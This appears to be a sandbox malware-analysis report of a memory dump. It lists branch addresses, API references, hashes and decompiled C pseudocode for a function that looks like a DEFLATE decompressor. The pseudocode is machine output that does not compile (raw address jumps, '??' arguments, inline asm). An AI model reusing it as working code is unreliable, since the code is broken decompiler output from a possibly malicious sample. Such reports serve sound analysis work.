0x00505a71
0x00505a7f
0x00505a8a
0x00505a8b
0x00505a8e
0x00505a90
0x00000000
0x00000000
0x00505a92
0x00505a92
0x00505a95
0x00505a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00505a97
0x00000000
0x00505a71
0x00505a53
0x00505a53
0x00505a53
0x00505a56
0x00505a58
0x00505a99
0x00505a99
0x00505a9c
0x00505a9c
0x00505a9f
0x00506521
0x00506521
0x00000000
0x00000000
0x00000000
0x00000000
0x00505a5a
0x00505a5a
0x00505a5a
0x00505a5c
0x00505ae0
0x00505ae0
0x00000000
0x00505a62
0x00505a62
0x00000000
0x00505a62
0x00505a5c
0x00505a58
0x00000000
0x00505aa5
0x00505aa8
0x00505aaa
0x00505aac
0x00505aad
0x00505aaf
0x00505ab2
0x00505ab5
0x00505ab8
0x00505ab8
0x00000000
0x00505abd
0x00505a3a
0x00000000
0x00505a31
0x005058f8
0x00505f64
0x00505f73
0x00505f7d
0x00505f93
0x00505fa9
0x00505fb2
0x00505fb7
0x00505fba
0x00505fbd
0x00505fc0
0x00505fc2
0x00505fc4
0x00505fc4
0x00505fd0
0x00505fd0
0x00505fd0
0x00505fd4
0x00505fd5
0x00505fdc
0x00505fdc
0x00505fd0
0x00505fe0
0x00505fe0
0x00505fe5
0x00505fe6
0x00505fe7
0x00505fe8
0x00505fe9
0x00505fe9
0x00505fef
0x00505ff5
0x00505ff8
0x00506000
0x00506000
0x00506000
0x00506009
0x0050600b
0x0050600d
0x00506014
0x00506017
0x00506020
0x00506027
0x00506029
0x0050602c
0x00506035
0x00506037
0x0050603e
0x00506041
0x00506041
0x0050604c
0x0050604f
0x00506055
0x00506058
0x0050605a
0x00506061
0x0050606c
0x0050606c
0x0050606f
0x00506076
0x0050607d
0x00506080
0x00506086
0x00506086
0x00506090
0x00506090
0x00506095
0x00506095
0x00506099
0x0050609c
0x0050609e
0x005060a4
0x005060a4
0x005060ab
0x005060af
0x005060b6
0x005060b9
0x005060bb
0x00000000
0x005060c0
0x005060c0
0x005060cb
0x005060ce
0x005060cf
0x005060d1
0x005060d4
0x005060d4
0x005060d8
0x005060d8
0x005060db
0x005060db
0x005060de
0x0050612d
0x0050613d
0x00506140
0x00506143
0x00506146
0x00506149
0x0050614c
0x0050614e
0x00506153
0x00506156
0x00506158
0x00506158
0x0050615b
0x0050615e
0x0050615e
0x00506161
0x00506161
0x00506164
0x00506167
0x00506169
0x00506169
0x00506169
0x0050616c
0x0050616f
0x00506172
0x00506172
0x00506172
0x00506180
0x00506185
0x00506189
0x0050618c
0x005061a4
0x0050618e
0x00506191
0x00506195
0x00506198
0x0050619a
0x0050619d
0x005061a0
0x005061a0
0x005061a7
0x005061a7
0x005061a7
0x005061a7
0x005061a7
0x005061ac
0x005061af
0x005061af
0x005061b1
0x005061b6
0x005061b6
0x005061bb
0x005060e0
0x005060e0
0x005060e7
0x005060ea
0x005060ed
0x005060f3
0x005060f9
0x005060f9
0x005060fe
0x005060ff
0x00506100
0x00506101
0x00506101
0x00506106
0x0050610f
0x0050610f
0x00506115
0x00506115
0x00506115
0x00506118
0x0050611a
0x0050611d
0x0050611d
0x00506125
0x00506125
0x005060f3
0x005060de
0x005061c3
0x005061c3
0x005061c6
0x005061c7
0x005061c7
0x005061d1
0x005061d6
0x005061d6
0x005061d7
0x005061d7
0x005061db
0x005063f6
0x005063f6
0x00000000
0x005061e1
0x005061e1
0x005061e1
0x005061e1
0x005061e3
0x005061e3
0x005061e3
0x005061e6
0x005061e6
0x005061ec
0x005061ef
0x005061f1
0x00000000
0x00000000
0x005061f7
0x005061f7
0x005061fa
0x005062b2
0x005062b9
0x005062c1
0x005062c4
0x005062c6
0x005062d7
0x00000000
0x005062e0
0x005062e0
0x005062e0
0x005062e5
0x005062e7
0x005062ee
0x005062f6
0x005062f9
0x005062f9
0x005062c8
0x005062c8
0x005062ca
0x005062cd
0x005062d2
0x005062d2
0x005062fd
0x005062fd
0x005062ff
0x00506301
0x00506304
0x00506307
0x0050630a
0x0050631c
0x0050631c
0x0050632c
0x0050632c
0x00506333
0x00506336
0x00506338
0x00506360
0x0050636e
0x00506371
0x00506378
0x0050637b
0x0050637d
0x00506381
0x00506384
0x00506387
0x00506393
0x00506393
0x00506389
0x00506389
0x00506389
0x00506395
0x005063a0
0x005063a9
0x005063ac
0x005063ae
0x005061e3
0x005061e3
0x00000000
0x0050633a
0x0050633a
0x0050633a
0x0050633a
0x0050633d
0x00000000
0x00000000
0x00506343
0x00506348
0x0050634a
0x0050634b
0x0050634e
0x00506350
0x00506353
0x00506356
0x00506359
0x0050635b
0x00000000
0x0050635d
0x0050635d
0x0050635d
0x00000000
0x0050635d
0x00000000
0x0050635b
0x005065b6
0x005065b6
0x00000000
0x005065b6
0x0050631e
0x0050631e
0x0050631e
0x00506321
0x00506323
0x00506698
0x00506698
0x0050669b
0x00000000
0x00506329
0x00506329
0x00506329
0x00000000
0x00506329
0x00506323
0x0050630c
0x0050630c
0x0050630c
0x0050630f
0x00506316
0x00000000
0x00506316
0x00506200
0x00506200
0x00506205
0x00506208
0x0050628e
0x0050628e
0x00506295
0x00506298
0x0050629d
0x005062a3
0x005062a6
0x005062a9
0x005062a9
0x005062ac
0x00000000
0x0050620e
0x0050620e
0x0050620e
0x00506210
0x00506215
0x0050621d
0x0050621f
0x00506232
0x00506232
0x00506235
0x00000000
0x00506237
0x00506237
0x0050623c
0x0050623c
0x00506240
0x00506240
0x0050624e
0x00506259
0x0050625a
0x0050625d
0x0050625f
0x00000000
0x00000000
0x00506261
0x00506261
0x00506264
0x00506266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00506266
0x00000000
0x00506240
0x00506221
0x00506221
0x00506221
0x00506224
0x00506226
0x00506268
0x00506268
0x0050626b
0x0050626b
0x0050626e
0x005065ab
0x005065ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00506228
0x00506228
0x00506228
0x0050622a
0x005062af
0x005062af
0x00000000
0x00506230
0x00506230
0x00000000
0x00506230
0x0050622a
0x00506226
0x00000000
0x00506274
0x00506277
0x00506279
0x0050627b
0x0050627c
0x0050627e
0x00506281
0x00506284
0x00506287
0x00506287
0x00000000
0x0050628c
0x00506208
0x00000000
0x005061fa
0x005063b6
0x005063b9
0x005063bc
0x005063be
0x005063c0
0x005066a6
0x005066a6
0x005066a9
0x00000000
0x005063c6
0x005063c6
0x005063d2
0x005063e3
0x005063e3
0x005063ed
0x005063f3
0x00000000
0x005063f3
0x00000000
0x005063c0
0x005061e3
0x00506063
0x00506063
0x00506063
0x00506066
0x00506686
0x00506686
0x0050668d
0x00000000
0x00000000
0x00000000
0x00000000
0x00506066
0x00000000
0x00506061

APIs

memset.NTDLL ref: 00505EEE
memset.NTDLL ref: 00505F7D
memset.NTDLL ref: 00505F93
memset.NTDLL ref: 00505FA9

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: cb655b39c26ee2e7212e55515155af9fc401ce3147a86d33f5422d0a0cd10594
Instruction ID: 6c874a55e83826736ebaeb2e33e5ba4b91b46240f7f51f844ffe575cf769335b
Opcode Fuzzy Hash: cb655b39c26ee2e7212e55515155af9fc401ce3147a86d33f5422d0a0cd10594
Instruction Fuzzy Hash: D031F4B1E00616ABDB04CF60C8857EEBFB0FF58301F244469E516AB6C1E778A644DF84

Uniqueness

Uniqueness Score: 0.00%

Function 00505D95, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

C-Code - Quality: 68%

			E00505D95(void* __eax, void* __ebx, void* __edi) {
				intOrPtr* _t597;
				void* _t598;
				signed int _t600;
				signed int _t603;
				signed int _t605;
				void* _t608;
				signed int _t609;
				signed int _t612;
				signed int _t614;
				signed int _t617;
				signed int _t618;
				signed int _t624;
				signed int _t625;
				void* _t628;
				signed int _t630;
				void* _t631;
				signed int _t641;
				signed int* _t651;
				signed int _t654;
				signed int _t671;
				signed int _t673;
				signed int _t675;
				signed int _t685;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t695;
				unsigned int _t698;
				void* _t699;
				signed int _t707;
				signed int _t710;
				signed int _t721;
				signed int _t725;
				signed int _t727;
				void* _t730;
				signed int _t732;
				signed int _t733;
				intOrPtr _t734;
				signed char _t738;
				intOrPtr* _t740;
				void* _t741;
				signed int _t749;
				signed int _t753;
				signed int _t758;
				signed int _t764;
				signed int _t767;
				void* _t769;
				intOrPtr _t782;
				intOrPtr _t783;
				intOrPtr _t784;
				signed int _t787;
				signed int _t791;
				void* _t797;
				signed int _t802;
				signed int _t804;
				signed int _t808;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				void* _t824;
				signed int _t828;
				void* _t829;
				signed int _t834;
				void* _t835;
				void* _t836;
				signed int _t841;
				signed int _t842;
				signed char _t844;
				signed int _t845;
				void* _t847;
				void* _t851;
				signed int _t853;
				intOrPtr _t854;
				signed char _t860;
				signed int _t861;
				signed int _t862;
				signed char _t863;
				signed char _t864;
				intOrPtr _t866;
				void* _t869;
				void* _t870;
				void* _t871;
				signed int _t874;
				signed int _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t884;
				void* _t885;
				signed char _t894;
				signed int _t896;
				void* _t897;
				void* _t898;
				signed int _t901;
				signed int _t902;
				signed char _t903;
				intOrPtr _t905;
				intOrPtr _t907;
				void* _t910;
				signed char _t911;
				signed char _t912;
				signed char _t913;
				signed int _t917;
				signed char _t922;
				void* _t923;
				void* _t924;
				signed int _t927;
				signed char* _t932;
				signed int _t936;
				signed char _t940;
				signed int _t941;
				signed char _t944;
				signed int _t945;
				void* _t953;
				signed int _t968;
				signed int _t969;
				signed int _t972;
				signed int _t974;
				signed int _t978;
				signed int* _t979;
				signed char* _t984;
				void* _t985;
				void* _t990;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t997;
				signed int _t999;
				signed int _t1000;
				signed int _t1003;
				signed int _t1004;
				int _t1005;
				int _t1007;
				signed int _t1008;
				unsigned int _t1011;
				void* _t1015;
				intOrPtr _t1016;
				signed int _t1017;
				signed int _t1021;
				signed char _t1025;
				void* _t1029;
				signed char _t1030;
				signed int _t1031;
				void* _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1039;
				void* _t1041;
				int _t1046;
				signed int _t1047;
				signed int _t1049;
				signed int _t1050;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed char _t1064;
				void* _t1065;
				void* _t1067;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t597 = __eax + 1 - 0x20;
					 *_t597 =  *_t597 + _t597;
					_t847 = __ebx + _t597;
					_t598 = _t597 + 1;
					 *_t598 =  *_t598 ^ _t598;
					 *_t598 = _t598 +  *_t598;
					 *0xde0 =  *0xde0 + _t598;
					memset(_t598, ??, ??);
					asm("movdqa xmm0, [0x50fae0]");
					_t1068 = _t1067 + 0xc;
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqu [edi+0x70], xmm0");
					asm("movdqu [edi+0x80], xmm0");
					asm("movdqu [edi+0x90], xmm0");
					asm("movdqu [edi+0xa0], xmm0");
					asm("movdqu [edi+0xb0], xmm0");
					asm("movdqu [edi+0xc0], xmm0");
					_t1029 = __edi + 0xd0;
					asm("movdqa xmm0, [0x50faf0]");
					asm("movdqu [edi], xmm0");
					asm("movdqu [edi+0x10], xmm0");
					asm("movdqu [edi+0x20], xmm0");
					asm("movdqu [edi+0x30], xmm0");
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqa xmm0, [0x50fad0]");
					asm("movdqu [edi+0x70], xmm0");
					asm("movq [edi+0x80], xmm0");
					 *((intOrPtr*)(_t1029 + 0x88)) = 0x8080808;
					 *((intOrPtr*)(_t1029 + 0x8c)) = 0x8080808;
					_t1030 =  *(_t1065 - 0x14);
					while(1) {
						L141:
						_t600 =  *(_t1030 + 0x18);
						if(_t600 >= 0) {
							break;
						}
						L218:
						_t968 =  *(_t1065 - 4);
						while(1) {
							L39:
							_t860 =  *(_t1065 - 0x20) - _t847;
							__eflags = _t860 - 4;
							if(_t860 < 4) {
								goto L58;
							}
							L40:
							_t1030 =  *(_t1065 - 0x14);
							__eflags =  *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) - 2;
							if( *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1050 - 0xf;
								if(_t1050 < 0xf) {
									_t1017 =  *(_t847 + 1) & 0x000000ff;
									_t860 = _t1050;
									_t733 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1017 << 0x00000008 | _t733) << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
								}
								_t618 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t618;
								__eflags = _t618;
								if(_t618 < 0) {
									L45:
									goto 0x52145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t685 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t618 = (_t685 & 0x00000001) +  !_t847;
										_t847 =  *((short*)(_t1030 + 0x960 + _t618 * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L44:
									_t860 = _t618 >> 9;
								}
								L48:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 & 0x00000100;
								if((_t861 & 0x00000100) != 0) {
									L84:
									_t862 = _t861 & 0x000001ff;
									 *(_t1065 - 8) = _t862;
									__eflags = _t862 - 0x100;
									if(_t862 != 0x100) {
										L219:
										_t608 = _t862 * 4 - 0x404;
										_t863 =  *(_t608 + 0x50f010);
										_t609 =  *(_t608 + 0x50fa48);
										 *(_t1065 - 0x38) = _t863;
										 *(_t1065 - 8) = _t609;
										__eflags = _t863;
										if(_t863 == 0) {
											L225:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L3:
												_t612 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
												 *(_t1065 - 0x1c) = _t612;
												__eflags = _t612;
												if(_t612 < 0) {
													L5:
													goto 0x5213e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t614 = _t968 >> _t863;
														_t863 = _t863 + 1;
														_t847 =  *((short*)(_t1030 + 0x1700 + ((_t614 & 0x00000001) +  !_t847) * 2));
														__eflags = _t847;
													} while (_t847 < 0);
													 *(_t1065 - 0x1c) = _t847;
													_t847 =  *(_t1065 - 0x18);
													_t617 =  *(_t1065 - 0x1c);
												} else {
													L4:
													_t863 = _t612 >> 9;
													_t617 = _t612 & 0x000001ff;
												}
												L9:
												_t968 = _t968 >> _t863;
												_t1050 = _t1050 - _t863;
												_t864 =  *(0x50f090 + _t617 * 4);
												_t618 =  *(0x50f110 + _t617 * 4);
												 *(_t1065 - 4) = _t968;
												 *(_t1065 - 0x38) = _t864;
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t864;
												if(_t864 == 0) {
													L15:
													_t866 =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 + 0xc));
													 *((intOrPtr*)(_t1065 - 0x48)) = _t866;
													__eflags = _t618 - _t866;
													if(_t618 <= _t866) {
														L17:
														_t1030 =  *(_t1065 - 0x14);
														_t869 = (_t866 - _t618 &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc));
														__eflags =  *(_t1065 - 0x10) - _t869;
														 *(_t1065 - 0xc) = _t869;
														_t620 =  >  ?  *(_t1065 - 0x10) : _t869;
														_t870 =  *(_t1065 - 8);
														_t621 = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870;
														__eflags = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870 -  *((intOrPtr*)(_t1065 - 0x40));
														if(( >  ?  *(_t1065 - 0x10) : _t869) + _t870 <=  *((intOrPtr*)(_t1065 - 0x40))) {
															L21:
															__eflags = _t870 - 9;
															if(_t870 < 9) {
																L30:
																goto 0x521420;
																asm("int3");
																do {
																	L32:
																	_t870 = _t870 - 3;
																	 *_t1030 =  *_t968 & 0x000000ff;
																	 *((char*)(_t1030 + 1)) =  *(_t968 + 1) & 0x000000ff;
																	_t624 =  *(2 + _t968) & 0x000000ff;
																	_t968 = _t968 + 3;
																	 *(2 + _t1030) = _t624;
																	_t1030 = _t1030 + 3;
																	__eflags = _t870 - 2;
																} while (_t870 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t870 -  *(_t1065 - 0x28);
																if(_t870 >  *(_t1065 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1041 =  *(_t1065 - 0xc);
																	_t871 =  *(_t1065 - 0x10);
																	_t738 = _t1041 + (_t870 & 0xfffffff8);
																	 *(_t1065 - 0x24) = _t738;
																	_t1025 = _t738;
																	do {
																		L24:
																		 *_t871 =  *_t1041;
																		_t740 =  *((intOrPtr*)(_t1041 + 4));
																		_t1041 = _t1041 + 8;
																		 *((intOrPtr*)(_t871 + 4)) = _t740;
																		_t871 = _t871 + 8;
																		__eflags = _t1041 - _t1025;
																	} while (_t1041 < _t1025);
																	_t968 =  *(_t1065 - 4);
																	 *(_t1065 - 0x10) = _t871;
																	_t870 =  *(_t1065 - 8) & 0x00000007;
																	 *(_t1065 - 0xc) = _t1041;
																	_t1030 =  *(_t1065 - 0x14);
																	 *(_t1065 - 8) = _t870;
																	__eflags = _t870 - 3;
																	if(_t870 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t741 = _t870;
																_t870 = _t870 - 1;
																 *(_t1065 - 8) = _t870;
																__eflags = _t741;
																if(_t741 == 0) {
																	goto L39;
																}
																L19:
																__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																	L238:
																	 *(_t1065 - 0xc) = 2;
																	 *_t1030 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																	 *((intOrPtr*)(_t1065 - 0x48)) =  *((intOrPtr*)(_t1065 - 0x48)) + 1;
																	 *( *(_t1065 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1065 - 0x48)) -  *(_t1065 - 0x28) &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc))));
																	_t968 =  *(_t1065 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t860 =  *(_t1065 - 0x20) - _t847;
																__eflags = _t860 - 4;
																if(_t860 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L16:
														__eflags =  *(_t1065 + 0x18) & 0x00000004;
														if(( *(_t1065 + 0x18) & 0x00000004) != 0) {
															L270:
															_t689 = _t618 | 0xffffffff;
															 *_t1030 = 0x25;
															goto L291;
														} else {
															goto L17;
														}
													}
												} else {
													L10:
													__eflags = _t1050 - _t864;
													if(_t1050 >= _t864) {
														L13:
														_t1050 = _t1050 - _t864;
														_t749 = (_t618 << _t864) - 0x00000001 & _t968;
														_t968 = _t968 >> _t864;
														_t28 = _t1065 - 0x28;
														 *_t28 =  *(_t1065 - 0x28) + _t749;
														__eflags =  *_t28;
														_t618 =  *(_t1065 - 0x28);
														 *(_t1065 - 4) = _t968;
														goto L15;
													} else {
														while(1) {
															L11:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L12:
															_t618 = ( *_t847 & 0x000000ff) << _t1050;
															_t847 = _t847 + 1;
															_t864 =  *(_t1065 - 0x38);
															_t968 = _t968 | _t618;
															_t1050 = _t1050 + 8;
															 *(_t1065 - 0x18) = _t847;
															 *(_t1065 - 4) = _t968;
															__eflags = _t1050 - _t864;
															if(_t1050 < _t864) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														L263:
														 *_t1030 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1065 - 0x20) - _t847 - 2;
												if( *(_t1065 - 0x20) - _t847 >= 2) {
													L237:
													_t991 =  *(_t847 + 1) & 0x000000ff;
													_t753 =  *_t847 & 0x000000ff;
													_t847 = _t847 + 2;
													_t1030 =  *(_t1065 - 0x14);
													_t863 = _t1050;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) =  *(_t1065 - 4) | _t991 << _t1050 + 0x00000008 | _t753 << _t863;
													_t1050 = _t1050 + 0x10;
													_t968 =  *(_t1065 - 4);
												} else {
													do {
														L227:
														_t618 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
														 *(_t1065 - 0x24) = _t618;
														__eflags = _t618;
														if(_t618 < 0) {
															L231:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1065 - 0x1c) = _t863;
																while(1) {
																	L234:
																	_t863 =  *((short*)(_t1030 + 0x1700 + ((_t968 >> _t863 & 0x00000001) +  !( *(_t1065 - 0x24))) * 2));
																	_t764 =  *(_t1065 - 0x1c) + 1;
																	 *(_t1065 - 0x24) = _t863;
																	 *(_t1065 - 0x1c) = _t764;
																	__eflags = _t863;
																	if(_t863 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t618 = _t764 + 1;
																	__eflags = _t1050 - _t618;
																	if(_t1050 < _t618) {
																		goto L1;
																	} else {
																		L236:
																		_t863 =  *(_t1065 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t618 = _t618 >> 9;
															__eflags = _t618;
															if(_t618 == 0) {
																L1:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L264:
																	 *_t1030 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t863 = _t1050;
														_t758 = ( *_t847 & 0x000000ff) << _t863;
														_t847 = _t847 + 1;
														_t968 = _t968 | _t758;
														 *(_t1065 - 0x18) = _t847;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 4) = _t968;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1050 - _t863;
											if(_t1050 >= _t863) {
												L223:
												L224:
												_t1050 = _t1050 - _t863;
												_t767 = (_t609 << _t863) - 0x00000001 & _t968;
												_t968 = _t968 >> _t863;
												_t456 = _t1065 - 8;
												 *_t456 =  *(_t1065 - 8) + _t767;
												__eflags =  *_t456;
												 *(_t1065 - 4) = _t968;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L222:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t863 =  *(_t1065 - 0x38);
													_t968 = _t968 | _t618;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - _t863;
													if(_t1050 < _t863) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1030 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1030 + 0x14) & 0x00000001;
											if(( *(_t1030 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1050 - 3;
											if(_t1050 >= 3) {
												L89:
												_t1050 = _t1050 - 3;
												_t698 = _t968 & 0x00000007;
												_t999 = _t968 >> 3;
												 *(_t1030 + 0x14) = _t698;
												_t699 = _t698 >> 1;
												__eflags = _t699;
												 *(_t1065 - 4) = _t999;
												 *(_t1065 - 0x1c) = _t1050;
												 *(_t1030 + 0x18) = _t699;
												if(_t699 != 0) {
													L124:
													__eflags = _t699 - 3;
													if(_t699 == 3) {
														L266:
														 *(_t1065 - 0xc) = 0xffffffff;
														 *_t1030 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t699 - 1;
														if(__eflags != 0) {
															L127:
															_t901 = 0;
															__eflags = 0;
															while(1) {
																L128:
																 *(_t1065 - 8) = _t901;
																__eflags = _t901 - 3;
																if(_t901 >= 3) {
																	break;
																}
																L129:
																_t618 =  *((char*)(_t901 + 0x50f004));
																 *(_t1065 - 0x1c) = _t618;
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	L132:
																	_t1015 = _t1030 + _t901 * 4;
																	_t1036 =  *(_t1065 - 4);
																	 *(_t1015 + 0x2c) = (0x00000001 <<  *(_t1065 - 0x1c)) - 0x00000001 & _t1036;
																	_t707 =  *(_t1065 - 8);
																	_t940 =  *((char*)(_t707 + 0x50f004));
																	_t1037 = _t1036 >> _t940;
																	_t1050 = _t1050 - _t940;
																	_t941 = _t707;
																	 *(_t1065 - 4) = _t1037;
																	 *(_t1065 - 0x1c) = _t1050;
																	 *(_t1015 + 0x2c) =  *(_t1015 + 0x2c) +  *((intOrPtr*)(0x50fa38 + _t941 * 4));
																	_t999 = _t1037;
																	_t1030 =  *(_t1065 - 0x14);
																	_t901 = _t941 + 1;
																	continue;
																} else {
																	while(1) {
																		L130:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L131:
																		_t710 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t901 =  *(_t1065 - 8);
																		_t999 = _t999 | _t710;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 0x18) = _t847;
																		 *(_t1065 - 4) = _t999;
																		_t618 =  *((char*)(_t901 + 0x50f004));
																		 *(_t1065 - 0x1c) = _t618;
																		__eflags = _t1050 - _t618;
																		if(_t1050 < _t618) {
																			continue;
																		} else {
																			goto L132;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1030 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L133:
															L134:
															_t618 = memset(_t1030 + 0x1b80, 0, ??);
															_t1000 =  *(_t1065 - 4);
															_t1068 = _t1068 + 0xc;
															_t902 = 0;
															__eflags = 0;
															while(1) {
																L135:
																 *(_t1065 - 8) = _t902;
																__eflags = _t902 -  *((intOrPtr*)(_t1030 + 0x34));
																if(__eflags >= 0) {
																	break;
																}
																L136:
																__eflags = _t1050 - 3;
																if(_t1050 >= 3) {
																	L139:
																	_t936 = _t1000 & 0x00000007;
																	_t1000 = _t1000 >> 3;
																	_t1050 = _t1050 - 3;
																	 *(_t1065 - 4) = _t1000;
																	 *(_t1065 - 0x1c) = _t1050;
																	_t618 =  *( *(_t1065 - 8) + 0x50fa24) & 0x000000ff;
																	 *(_t1030 + 0x1b80 + _t618) = _t936;
																	_t902 =  *(_t1065 - 8) + 1;
																	continue;
																} else {
																	while(1) {
																		L137:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L138:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t1000 = _t1000 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t1000;
																		__eflags = _t1050 - 3;
																		if(_t1050 < 3) {
																			continue;
																		} else {
																			goto L139;
																		}
																		goto L295;
																	}
																	L249:
																	 *_t1030 = 0xe;
																	goto L285;
																}
																goto L295;
															}
															L140:
															 *((intOrPtr*)(_t1030 + 0x34)) = 0x13;
															goto L141;
														} else {
															L126:
															goto 0x5214d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t699 + 0x2c)) = 0x120;
															goto L0;
														}
													}
												} else {
													L90:
													_t618 = _t1050 & 0x00000007;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														L93:
														_t944 = _t1050 & 0x00000007;
														_t968 = _t999 >> _t944;
														_t1050 = _t1050 - _t944;
														 *(_t1065 - 4) = _t968;
														_t945 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1065 - 8) = _t945;
															__eflags = _t945 - 4;
															if(_t945 >= 4) {
																break;
															}
															L95:
															__eflags = _t1050;
															if(_t1050 == 0) {
																L101:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L244:
																	 *_t1030 = 7;
																	goto L285;
																} else {
																	L102:
																	_t618 =  *_t847;
																	_t847 = _t847 + 1;
																	(_t1030 + 0x2920)[_t945] = _t618;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 0x18) = _t847;
																	continue;
